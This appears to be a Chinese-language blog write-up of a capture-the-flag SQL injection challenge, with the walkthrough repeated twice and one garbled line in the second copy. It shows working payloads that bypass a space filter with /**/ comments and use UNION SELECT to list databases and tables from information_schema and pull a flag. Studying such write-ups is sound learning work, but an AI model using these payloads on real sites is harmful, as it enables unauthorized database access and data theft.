首頁  >  文章  >  資料庫  >  sql注入的相關簡單實例

sql注入的相關簡單實例

巴扎黑
巴扎黑原創
2017-08-11 15:11:052897瀏覽

所謂SQL注入,就是透過把SQL指令插入Web表單提交或輸入網域或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL指令。接下來跟大家分享一個簡單的sql注入,一起看看吧

所謂SQL注入,就是透過把SQL指令插入Web表單提交或輸入網域或頁面請求的查詢字串,最後達到欺騙伺服器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意)的SQL命令注入到後台資料庫引擎執行的能力,它可以透過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是依照設計者意圖去執行SQL語句。例如先前的許多影視網站外洩VIP會員密碼大多就是透過WEB表單遞交查詢字元暴出的,這類表單特別容易受到sql注入攻擊。

分別輸入1,2,3有對應的結果

使用'會報錯,於是

建構常用的sql語句: 1' 和 '1'='1

沒有反應試一試1' and '1'='2

還是沒反應,工具提示,應該是過濾了什麼,改一下sql語句試一試

1and1=1

可以顯示東西,經過判斷過濾了空格,我們使用/**/來代替空格

試試看1'/**/'1'='1

發現有結果了:

於是建構sql語句:

判斷有那些資料庫:


1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

可以看到結果:

查看有哪些資料表:


1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

發現了flag的表,我們猜測應該是在web1資料庫中並且字段就是flag(其實就在本頁面的資料庫中)

故:


##

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

本人也是初學者,參考了許多大佬的wp 自己寫出來後有什麼錯誤的地方,希望大家指出,謝謝!

根據頁面提示,到底過濾了什麼東西?可以知道一定過濾了什麼....

#分別輸入1,2,3有對應的結果

使用'會報錯,於是

建構常用的sql語句:1' and '1'='1

沒有反應試一試試1' and '1'='2

還是沒反應,工具提示,應該是過濾了什麼,改一下sql語句試試看

1and1=1

可以顯示東西,經過判斷過濾了空格,我們使用/**/和/**&*&*/'1'='1

發現有結果了:

於是建立sql語句:

判斷有那些資料庫:

#
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

可以看到結果:

查看有哪些資料表:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1


#發現了flag的表,我們猜測應該是在web1資料庫中且欄位就是flag(其實就在本頁面的資料庫)

故:

##

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1


以上是sql注入的相關簡單實例的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn